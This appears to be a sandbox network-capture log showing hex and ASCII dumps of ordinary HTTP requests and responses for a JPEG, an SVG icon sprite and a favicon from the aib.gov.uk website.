2024-05-01 17:05:02 UTC	16384	IN	Data Raw: 89 d4 5a b4 36 b1 dc ea 0e d1 da c5 e0 a0 0c c0 6d c9 3c f3 c9 e7 b9 ae 7c 3a 3c 58 a5 29 45 77 c9 a6 4d 54 f2 d2 7e 0a 56 dd 5d ac 43 24 ee 97 af be 65 54 73 b9 b2 40 c9 1c e7 e2 6b 67 82 0f b8 af d8 85 9e 50 e8 bd 61 ed 0b a8 f4 96 b9 92 d3 51 92 26 b8 42 b2 61 98 87 04 63 90 4d 4c f4 b8 a6 92 94 57 01 0d 4c e2 de d7 d9 4a cb aa 75 4b 36 b4 92 0b 83 1b da b6 f8 99 19 81 53 c7 23 9e 3b 0e d5 ab c3 09 26 a4 97 26 6b 3c a2 ed 1d 24 7e d7 ba c8 5f c5 7a 35 ab 93 73 0c 4d 12 48 65 72 ca ac 41 23 3b b3 fa a3 f0 ae 48 fc 33 4b 14 e2 a0 a9 9d 0f 5f 9a 5c b9 32 a4 9d 7b ab ce ca d3 7d 9e 4d a3 cc 36 58 e7 3b 89 ce 49 f9 d7 66 3c 51 87 d2 8e 6c 99 65 35 cb 26 d2 fa f3 59 b0 b2 4b 7b 66 82 35 d8 23 62 03 65 d7 39 c1 c9 e4 67 d6 9c b1 42 5c c9 22 e3 96 69 ba 93 31 Data Ascii: Z6m<\|:<X)EwMT~V]C$eTs@kgPaQ&BacMLWLJuK6S#;&&k<$~_z5sMHerA#;H3K_\2{}M6X;If<Qle5&YK{f5#be9gB\"i1
2024-05-01 17:05:02 UTC	16384	IN	Data Raw: ce 78 a3 6a a0 c6 ae 48 bb ed 3b 45 8b 46 b0 e9 c8 6c e2 09 15 c5 b2 5c 48 17 80 c4 aa f2 7e 3d ff 00 1a e6 d0 64 96 4c 6e fc 49 99 eb 22 a1 35 5e c6 67 b3 dd 52 4d 33 ad 74 fb d8 02 99 ad 98 4c 81 b9 04 af 23 38 f9 57 a9 8a a5 37 13 91 3a 56 7d f3 ec 7b db e6 a1 ed 0f aa e4 e9 fd 43 49 b4 85 c5 b3 dc 0b 9b 59 58 a9 db b7 8d a4 7f bd eb e5 59 67 d3 7a 71 de 69 09 ee 74 7b 98 78 dc 70 ca 73 e8 6b 97 93 4a 16 c1 4a c5 47 25 d6 de d1 fa 6f d9 e0 b2 3a fd eb db 7d b7 7f 83 b6 16 93 76 dc 67 ee 83 8e e3 f1 ad 31 c2 73 fa 55 93 26 a3 d9 f2 b7 f6 a4 f6 9f d2 dd 75 d3 96 03 42 d4 75 09 2e 2d 9d 9a 40 63 74 89 53 04 64 03 8f 7b 27 1c 79 77 ad 96 39 43 99 21 29 46 49 a8 b3 c5 bf b3 eb b4 9e d3 74 e6 b7 93 33 18 a6 c3 4c 38 ff 00 0c fa 1c fe 74 6e e2 c9 51 ed 1f 45 Data Ascii: xjH;EFl\H~=dLnI"5^gRM3tL#8W7:V}{CIYXYgzqit{xpskJJG%o:}vg1sU&uBu.-@ctSd{'yw9C!)FIt3L8tnQE
2024-05-01 17:05:02 UTC	16384	IN	Data Raw: 6a b3 5b 48 33 13 7b d0 bf ed a7 97 d7 ca be ab 49 aa 59 a1 cf 67 34 e3 5d 18 37 76 42 e2 de 78 89 65 12 0d bb 94 e0 8f 88 ae c5 23 26 60 27 4a eb 8a 85 97 54 63 0a 8c 2a 89 18 70 2a f6 64 71 b4 f8 14 57 26 9f 4d e9 3a 8e 9d f6 95 bd b8 59 99 c8 65 25 c9 c0 f4 e6 b3 d3 29 46 ed 9d d0 5b 8d bf 1e 40 80 62 3c e3 d6 ba 54 9b 2b 6a 38 b6 e8 37 13 34 e7 55 24 16 2f b7 c3 e3 9f 2f bd 51 b1 3e 6c e2 96 9d ee 6d 32 31 d0 42 3d c4 6a 39 ca 95 ff 00 0f b6 78 fd aa 3d 1b f2 35 81 fb 8d ff 00 41 56 38 64 4f ef 12 4c b8 19 31 f6 f3 fd af 85 2f 41 5f 63 f4 5d 76 4d a7 f4 92 69 85 f6 de f8 9e 20 c1 ca 0e 31 f5 ad b0 d6 27 7d 98 e4 d1 fa 90 da e5 46 ad a5 8f d9 77 a8 95 5f 77 3f 77 18 fc eb 79 67 4d dd 11 87 45 e9 a6 b7 58 9a cc bb bf e9 54 7d 29 2c f4 39 68 9c bf 31 cf Data Ascii: j[H3{IYg4]7vBxe#&`'JTcpdqW&M:Ye%)F[@b<T+j874U$//Q>lm21B=j9x=5AV8dOL1/A_c]vMi 1'}Fw_w?wygMEXT}),9h1
2024-05-01 17:05:02 UTC	16384	IN	Data Raw: de a5 ce a9 25 99 ba 64 13 46 8c 07 87 b1 98 ae 38 3d f2 69 e0 b7 0b 6a c5 9e 7b 64 e3 13 83 eb 6e 8c d1 b4 bb a0 9a 7d fc d7 71 32 03 b9 db 38 3c f1 d8 50 e7 24 e9 11 08 29 ab 6c c2 d3 7d 9c e8 da a6 9e b3 dd 5e 81 21 24 14 2d db 9f 95 74 c3 6b 56 d1 c7 3e ce 27 aa fa 02 d3 4b bc 29 66 0b c2 c7 dd 24 e7 3d aa 37 c6 da 63 f4 6d 59 ec fd 33 d1 17 bd 2f ab 5b 6a 76 57 92 09 ed 9c 48 99 8c 10 08 3e 9c d7 b5 a8 d0 69 b2 26 b7 b4 78 18 fe 25 96 32 dc e2 8d 4e ae d0 75 2e b6 d4 e4 bf d4 ee 4f 8c ff 00 f8 50 47 18 fc 00 ac b0 7c 3b 4b 85 71 36 c7 9b e2 39 b2 70 a2 92 39 a7 f6 4d 1c ae cc d3 dc 12 7f e1 fe 55 d8 b0 69 97 e6 67 23 d4 e6 ae 90 ad fd 92 c3 6e 93 2a cd 74 12 60 04 8b b8 00 e0 1c 80 7d df 50 29 7a 5a 5f 76 28 ea 33 2b aa 1b 27 b1 fb 39 08 c0 b8 51 db Data Ascii: %dF8=ij{dn}q28<P$)l}^!$-tkV>'K)f$=7cmY3/[jvWH>i&x%2Nu.OPG\|;Kq69p9MUig#n*t`}P)zZ_v(3+'9Q
2024-05-01 17:05:02 UTC	16384	IN	Data Raw: 9f af ae a5 27 fd 61 fe 8b 5b 2c 29 19 db 66 3d df 59 dd 90 40 76 aa 58 d0 f9 66 4d cf 54 5e 32 92 ae 4d 6a a2 92 24 c4 b8 d7 ef dd 89 f7 cf c3 34 e9 0e 8a 4f ac 6a 0c a4 ec 6f c6 a9 52 15 1d bf b3 a9 ae b5 5e 9e eb 5b 37 56 f1 c5 a4 17 71 e4 13 9f 0a 60 cd ff 00 49 35 a6 06 96 55 f7 e0 74 dc 5a 47 21 d4 7a 95 ab b8 8e 30 72 84 12 71 5e be 9f 1b 8b b3 97 23 4d 1c e2 5e 2c 52 78 91 4c 11 90 e4 1f 4a ea 9c 54 e2 e2 cc e1 b9 3b 47 a3 e9 48 da a7 45 dd 5c da 15 b9 d4 62 0d 2f 8e 98 1e 1c 88 3d d5 c7 c4 06 fc 6b e7 72 63 78 b2 38 3e 8f 63 72 c9 0d c3 b4 9d 6e 6d 7b a2 6d f4 fd 52 40 d6 ef 24 b2 18 c2 9c 61 80 53 cf 9e 76 9f c6 b6 c7 89 25 6b c9 38 53 ec e5 74 8e ad 8b 4b d7 e4 e9 ab 48 0c 9a 6d cc a2 03 08 90 c4 24 62 a0 7d ee ea 33 8f 3c 56 12 8a bb 14 df ce Data Ascii: 'a[,)f=Y@vXfMT^2Mj$4OjoR^[7Vq`I5UtZG!z0rq^#M^,RxLJT;GHE\b/=krcx8>crnm{mR@$aSv%k8StKHm$b}3<V
2024-05-01 17:05:02 UTC	16384	IN	Data Raw: f8 e2 07 e8 b1 9f df 4f 66 a2 5e 52 1a f4 fc d9 01 eb 1e 9c 88 1f 03 a3 2d 5c fa dd 5f dc 49 ff 00 a5 94 52 58 b2 ff 00 5f f0 1b a0 bf 28 df fe 23 34 23 16 3d 3d d3 d6 63 c8 8b 11 31 1f 59 4b 53 f4 5b ee 4c 16 4f b2 23 ff 00 e2 8f 54 28 3e 0d f4 56 c3 ff 00 e1 6d 21 83 ff 00 42 0a 5f 86 c7 e5 7f 23 8e 47 46 75 e7 b4 3e a9 bc 56 4b 9e a0 d5 24 43 fa 86 e9 f1 f8 66 ae 38 31 af ca 4f a9 2f 73 9d 97 50 9a 77 66 9a 47 91 cf 9b b1 62 7f 1a d9 41 2e 12 a2 77 36 57 17 05 77 73 8f ca 9a e0 55 7d 93 5b 45 77 74 76 c1 04 b3 31 ec 23 42 df ba a5 b4 34 bc 23 66 0e 87 ea ab a5 ca 74 fe a7 83 d9 9a dd 94 7e 24 01 59 fa d0 8f 72 45 28 3f 62 73 d0 3a ca 0c 5d c9 a6 d9 9f 3f b4 ea 30 21 1f f2 ef cf e5 4b d7 87 87 7f a0 fd 39 0c 3d 29 67 09 c5 cf 54 68 eb 8e e2 23 2c c4 7f Data Ascii: Of^R-\_IRX_(#4#==c1YKS[LO#T(>Vm!B_#GFu>VK$Cf81O/sPwfGbA.w6WwsU}[Ewtv1#B4#ft~$YrE(?bs:]?0!K9=)gTh#,
2024-05-01 17:05:02 UTC	16384	IN	Data Raw: ef 51 02 e2 0b 5b 64 73 fa cc be 23 1f fc d9 fd d5 de b1 6e ec f5 a3 b5 47 92 bc 92 6b 77 f0 95 df 73 f6 63 dc 67 c3 8b f8 2d 68 96 38 f0 79 ed f2 cc 96 d3 21 8b 3f 69 d4 6d 62 1e 6b 1e 65 3f f4 8c 7e 75 71 72 fc b1 7f ec 62 e4 ba 20 df a3 42 4e 12 f2 ed 87 9b 15 85 7f 01 b8 fe 62 ab 64 df d8 94 d1 24 3a 93 86 c5 9d 85 a4 07 d4 47 e2 b9 fa be ef cb 14 9e 2f ea 91 a4 5a 34 ac ac 75 dd 76 64 81 56 f2 e5 89 f7 62 0a 5b f0 51 fc 05 65 28 c1 74 6d 09 a8 f6 7a 5e 81 ec 13 ad ef 91 67 9b 4b 7d 3a d8 8c f8 da 83 0b 64 c7 af bf 83 f9 57 3e 49 af 73 78 ea 94 7a e4 eb ec 3d 97 f4 ce 8d bf fb fb ae ac e4 96 3f bd 6d a4 c4 6e 1b e4 1c e1 6b 91 e6 c7 1f 36 53 d6 64 7d 23 46 1d 5b d9 f6 8f b9 74 be 92 bd d6 a7 5c 81 36 a9 74 42 92 3b 7e 8d 78 e6 b3 7a b7 f9 51 8c a7 39 Data Ascii: Q[ds#nGkwscg-h8y!?imbke?~uqrb BNbd$:G/Z4uvdVb[Qe(tmz^gK}:dW>Isxz=?mnk6Sd}#F[t\6tB;~xzQ9

Timestamp	Bytes transferred	Direction	Data
2024-05-01 17:05:02 UTC	509	OUT	GET /media/yu5atmon/pexels-mikhail-nilov-6964107.jpg?width=735&height=413&rnd=133470237582700000 HTTP/1.1 Host: www.aib.gov.uk Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: cookiePermissions=eyJzdGF0aXN0aWNzIjp0cnVlLCJwcmVmZXJlbmNlcyI6dHJ1ZX0=
2024-05-01 17:05:03 UTC	766	IN	HTTP/1.1 200 OK Date: Wed, 01 May 2024 17:05:03 GMT Content-Type: image/jpeg Content-Length: 40125 Connection: close Cache-Control: public, max-age=604800 ETag: "1da2ed03e0d1a3d" Last-Modified: Thu, 14 Dec 2023 20:58:09 GMT Strict-Transport-Security: max-age=15768000;preload X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff X-XSS-Protection: 1;mode=block Referrer-Policy: strict-origin Permissions-Policy: accelerometer=(), ambient-light-sensor=(), geolocation=(), gyroscope=(), microphone=(), midi=(), payment=() Content-Security-Policy: manifest-src 'self' x-azure-ref: 20240501T170503Z-r1b85b66488hc6rfaypasaxnuw00000009xg0000000127sd x-fd-int-roxy-purgeid: 64500433 X-Cache: TCP_MISS Server: FD-Cache-Files Accept-Ranges: bytes
2024-05-01 17:05:03 UTC	15618	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 48 00 48 00 00 ff e2 0c 58 49 43 43 5f 50 52 4f 46 49 4c 45 00 01 01 00 00 0c 48 4c 69 6e 6f 02 10 00 00 6d 6e 74 72 52 47 42 20 58 59 5a 20 07 ce 00 02 00 09 00 06 00 31 00 00 61 63 73 70 4d 53 46 54 00 00 00 00 49 45 43 20 73 52 47 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f6 d6 00 01 00 00 00 00 d3 2d 48 50 20 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 11 63 70 72 74 00 00 01 50 00 00 00 33 64 65 73 63 00 00 01 84 00 00 00 6c 77 74 70 74 00 00 01 f0 00 00 00 14 62 6b 70 74 00 00 02 04 00 00 00 14 72 58 59 5a 00 00 02 18 00 00 00 14 67 58 59 5a 00 00 02 2c 00 00 00 14 62 58 59 5a 00 00 02 40 00 00 00 14 64 Data Ascii: JFIFHHXICC_PROFILEHLinomntrRGB XYZ 1acspMSFTIEC sRGB-HP cprtP3desclwtptbkptrXYZgXYZ,bXYZ@d
2024-05-01 17:05:03 UTC	16384	IN	Data Raw: 81 23 bf d4 74 c8 b5 dd 1b cb 5c 09 e2 f9 e1 6f 4d c3 38 fa 1c 91 f8 57 98 5e ab c7 33 c0 cb b5 d1 b0 ff 00 ec 9f 4a f4 8f 08 5f 7d a3 4f 82 5c f5 8f 63 fd 47 23 f9 9a cf f1 f6 86 64 8f fb 56 d5 79 5c 09 d4 0e a3 b3 7f 43 4a 1b f2 f7 14 f4 5c dd 8e 08 96 6c 01 f7 71 8a 46 90 c6 78 eb 4f 52 07 06 91 90 3f 6a ed 4b 95 59 1c 2e 5c ee ec 67 9e 1b ad 74 1a 34 01 a1 0e 45 73 6d 11 56 ae 8f 4a ba 11 5b 60 fa 51 64 c7 7e 52 cc 97 4e 93 6c 41 c0 a6 4d 76 c0 7c dd 6a 01 3a 3c c5 ba d4 37 b2 16 38 50 47 bd 25 41 36 1f 58 68 d0 b2 ba de e5 77 55 0d 64 4b f6 85 90 02 54 54 76 45 a3 9d 7b 83 5d 27 d9 e3 b8 80 33 00 4e 3a 50 d2 8e 83 4e 52 d4 e7 ed 22 0e 43 b0 03 eb 52 5f 5c 2e 36 21 ce 3a 01 56 6f 22 5b 68 ce 38 27 f4 ac 94 3b 9c b1 35 2e 7d 8b 51 ee 41 2c 04 fc cf d4 Data Ascii: #t\oM8W^3J_}O\cG#dVy\CJ\lqFxOR?jKY.\gt4EsmVJ[`Qd~RNlAMv\|j:<78PG%A6XhwUdKTTvE{]'3N:PNR"CR_\.6!:Vo"[h8';5.}QA,
2024-05-01 17:05:03 UTC	8123	IN	Data Raw: 81 05 88 f7 1d 6b 4a 74 a5 37 a1 13 a9 18 ee 5f d4 b5 eb 5b 29 04 31 13 34 a4 e3 6a 9a cc b9 f1 5c f6 6f 8b bb 0f 2c 1e 47 ce 39 ac bb cf b0 5b ea 02 d6 ee c2 4f 35 b0 c7 cb 66 e0 7a e2 aa db e9 02 e2 29 2e af e5 91 21 57 db 19 ce 40 1e e3 ad 75 ac 3c 12 39 1d 79 b7 a1 d1 41 e3 1b 49 23 de d0 4c a3 be 06 71 56 e3 f1 46 97 21 03 cf da 4f 66 18 ae 46 f7 36 56 1b 74 cb c5 b9 8e 76 28 ea ab d3 15 2e 93 a0 b2 5c ac d7 72 29 5c 64 01 cf 3e 98 34 3c 3c 3a 0d 62 26 76 71 6a 76 53 0c a4 f1 9f c6 ac 23 c5 27 dd 65 3f 46 ae 16 49 d1 a5 b9 b3 b7 b4 62 17 ef 32 76 3d b2 2a 7b 48 db 49 b1 4b 99 d9 0b 3e 37 29 6c 9f ca a3 ea ab a3 2d 62 5f 54 76 c1 3d 09 ad 4d 32 6f 32 13 6d 29 c9 5f ba 7d 45 79 bb eb 57 57 17 30 c3 a7 92 a1 86 77 ae 4f e9 5a b6 5a ec b0 c5 be 59 cb c9 Data Ascii: kJt7_[)14j\o,G9[O5fz).!W@u<9yAI#LqVF!OfF6Vtv(.\r)\d>4<<:b&vqjvS#'e?FIb2v=*{HIK>7)l-b_Tv=M2o2m)_}EyWW0wOZZY

Timestamp	Bytes transferred	Direction	Data
2024-05-01 17:05:02 UTC	453	OUT	GET /assets/images/icons/icons.stack.svg HTTP/1.1 Host: www.aib.gov.uk Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: cookiePermissions=eyJzdGF0aXN0aWNzIjp0cnVlLCJwcmVmZXJlbmNlcyI6dHJ1ZX0=
2024-05-01 17:05:04 UTC	860	IN	HTTP/1.1 200 OK Date: Wed, 01 May 2024 17:05:03 GMT Content-Type: image/svg+xml Content-Length: 4336 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding ETag: "1da549d2c427b70" Last-Modified: Wed, 31 Jan 2024 23:28:19 GMT Strict-Transport-Security: max-age=15768000;preload X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff X-XSS-Protection: 1;mode=block Referrer-Policy: strict-origin Permissions-Policy: accelerometer=(), ambient-light-sensor=(), geolocation=(), gyroscope=(), microphone=(), midi=(), payment=() Content-Security-Policy: manifest-src 'self' x-azure-ref: 20240501T170503Z-r1b85b664888fqhnnfydb3tbf000000007y000000000fncd Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 64500433 X-Cache: TCP_MISS Server: FD-Cache-Files Accept-Ranges: bytes
2024-05-01 17:05:04 UTC	4336	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0a 3c 73 76 67 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 34 30 20 34 30 22 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 78 6d 6c 6e 73 3a 78 6c 69 6e 6b 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 6c 69 6e 6b 22 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 3a 72 6f 6f 74 3e 73 76 67 20 7b 0a 20 20 20 20 20 20 64 69 73 70 6c 61 79 3a 20 6e 6f 6e 65 0a 20 20 20 20 7d 0a 0a 20 20 20 20 3a 72 6f 6f 74 3e 73 76 67 3a 74 61 72 67 65 74 20 7b 0a 20 20 20 20 20 20 64 69 73 70 6c 61 79 3a 20 62 6c 6f 63 6b 0a 20 20 20 20 7d 0a 20 20 3c 2f 73 74 79 6c 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><svg viewBox="0 0 40 40" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> <style> :root>svg { display: none } :root>svg:target { display: block } </style

Timestamp	Bytes transferred	Direction	Data
2024-05-01 17:05:03 UTC	760	OUT	GET /images/aib-favicon.ico HTTP/1.1 Host: www.aib.gov.uk Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.aib.gov.uk/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: cookiePermissions=eyJzdGF0aXN0aWNzIjp0cnVlLCJwcmVmZXJlbmNlcyI6dHJ1ZX0=; _ga_LFLDF92T3M=GS1.1.1714583102.1.0.1714583102.0.0.0; _ga=GA1.1.50708905.1714583102
2024-05-01 17:05:04 UTC	768	IN	HTTP/1.1 200 OK Date: Wed, 01 May 2024 17:05:04 GMT Content-Type: image/x-icon Content-Length: 34494 Connection: close ETag: "1da549d13393c3e" Last-Modified: Wed, 31 Jan 2024 23:27:37 GMT Strict-Transport-Security: max-age=15768000;preload X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff X-XSS-Protection: 1;mode=block Referrer-Policy: strict-origin Permissions-Policy: accelerometer=(), ambient-light-sensor=(), geolocation=(), gyroscope=(), microphone=(), midi=(), payment=() Content-Security-Policy: manifest-src 'self' x-azure-ref: 20240501T170503Z-1744c668d97zs8ktfcuye1rec000000001pg00000000tb2k Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 64500433 X-Cache: TCP_MISS Server: FD-Cache-Files Accept-Ranges: bytes
2024-05-01 17:05:04 UTC	15616	IN	Data Raw: 00 00 01 00 05 00 10 10 00 00 01 00 20 00 68 04 00 00 56 00 00 00 18 18 00 00 01 00 20 00 88 09 00 00 be 04 00 00 20 20 00 00 01 00 20 00 a8 10 00 00 46 0e 00 00 30 30 00 00 01 00 20 00 a8 25 00 00 ee 1e 00 00 40 40 00 00 01 00 20 00 28 42 00 00 96 44 00 00 28 00 00 00 10 00 00 00 20 00 00 00 01 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b3 b1 b0 18 b1 af ae 9c b1 af ae e6 b2 b0 af f2 b1 af ae d6 b2 b0 af 6e b7 b6 b5 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b5 b3 b2 14 b1 af ae d8 b1 af ae 74 b7 b5 b4 0c bc ba b9 00 b2 b1 b0 2e b1 af ae c0 b1 af ae 9e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b5 Data Ascii: hV F00 %@@ (BD( nt.
2024-05-01 17:05:04 UTC	16384	IN	Data Raw: d7 dc 42 30 db 24 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 3f 2c da 7e 26 11 d5 ff 26 11 d5 ff 2c 18 d7 f6 67 58 e2 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 44 de 22 29 14 d6 f6 26 11 d5 ff 2c 17 d7 f4 a2 99 ed 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4f 3e dd 66 2a 16 d6 fa 26 11 d5 ff 26 11 d5 ff 2b 16 d6 e8 43 30 db 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6d 5f e3 14 2d 18 d7 f0 25 10 d5 ff 25 10 d5 ff 35 22 d8 be b8 b2 f1 08 00 Data Ascii: B0$?,~&&,gX UD")&,O>f*&&+C02m_-%%5"
2024-05-01 17:05:04 UTC	2494	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4f 3e de 08 35 22 d9 b2 26 11 d6 ff 26 11 d6 ff 26 11 d6 ff 2c 17 d7 fc 4f 3e dd 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 54 44 de 6c 2b 17 d7 fc 26 11 d6 ff 26 11 d6 ff 26 11 d6 ff 27 12 d6 ff 3d 2a da 92 72 65 e4 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 97 8d eb 16 32 1e d8 da 26 11 d6 ff 26 11 d6 ff 26 11 d6 ff 26 11 d6 ff 2d 19 d7 be 76 69 e5 26 00 00 00 00 00 Data Ascii: O>5"&&&,O>TDl+&&&'=re2&&&&-vi&

Timestamp	Bytes transferred	Direction	Data
2024-05-01 17:05:04 UTC	632	OUT	GET /images/aib-favicon.ico HTTP/1.1 Host: www.aib.gov.uk Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _ga_LFLDF92T3M=GS1.1.1714583102.1.0.1714583102.0.0.0; _ga=GA1.1.50708905.1714583102; cookiePermissions=eyJuZWNlc3NhcnkiOnRydWUsInByZWZlcmVuY2VzIjp0cnVlLCJzdGF0aXN0aWNzIjp0cnVlLCJjYW1wYWlnbnMiOnRydWUsIm1hcmtldGluZyI6dHJ1ZX0=; cookie-notification-acknowledged=eWVz
2024-05-01 17:05:05 UTC	768	IN	HTTP/1.1 200 OK Date: Wed, 01 May 2024 17:05:05 GMT Content-Type: image/x-icon Content-Length: 34494 Connection: close ETag: "1da549d13393c3e" Last-Modified: Wed, 31 Jan 2024 23:27:37 GMT Strict-Transport-Security: max-age=15768000;preload X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff X-XSS-Protection: 1;mode=block Referrer-Policy: strict-origin Permissions-Policy: accelerometer=(), ambient-light-sensor=(), geolocation=(), gyroscope=(), microphone=(), midi=(), payment=() Content-Security-Policy: manifest-src 'self' x-azure-ref: 20240501T170504Z-r1b85b66488mzq988e2fwauwkn0000000370000000000n1f Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 64500433 X-Cache: TCP_MISS Server: FD-Cache-Files Accept-Ranges: bytes
2024-05-01 17:05:05 UTC	15616	IN	Data Raw: 00 00 01 00 05 00 10 10 00 00 01 00 20 00 68 04 00 00 56 00 00 00 18 18 00 00 01 00 20 00 88 09 00 00 be 04 00 00 20 20 00 00 01 00 20 00 a8 10 00 00 46 0e 00 00 30 30 00 00 01 00 20 00 a8 25 00 00 ee 1e 00 00 40 40 00 00 01 00 20 00 28 42 00 00 96 44 00 00 28 00 00 00 10 00 00 00 20 00 00 00 01 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b3 b1 b0 18 b1 af ae 9c b1 af ae e6 b2 b0 af f2 b1 af ae d6 b2 b0 af 6e b7 b6 b5 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b5 b3 b2 14 b1 af ae d8 b1 af ae 74 b7 b5 b4 0c bc ba b9 00 b2 b1 b0 2e b1 af ae c0 b1 af ae 9e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b5 Data Ascii: hV F00 %@@ (BD( nt.
2024-05-01 17:05:05 UTC	16384	IN	Data Raw: d7 dc 42 30 db 24 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 3f 2c da 7e 26 11 d5 ff 26 11 d5 ff 2c 18 d7 f6 67 58 e2 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 44 de 22 29 14 d6 f6 26 11 d5 ff 2c 17 d7 f4 a2 99 ed 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4f 3e dd 66 2a 16 d6 fa 26 11 d5 ff 26 11 d5 ff 2b 16 d6 e8 43 30 db 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6d 5f e3 14 2d 18 d7 f0 25 10 d5 ff 25 10 d5 ff 35 22 d8 be b8 b2 f1 08 00 Data Ascii: B0$?,~&&,gX UD")&,O>f*&&+C02m_-%%5"
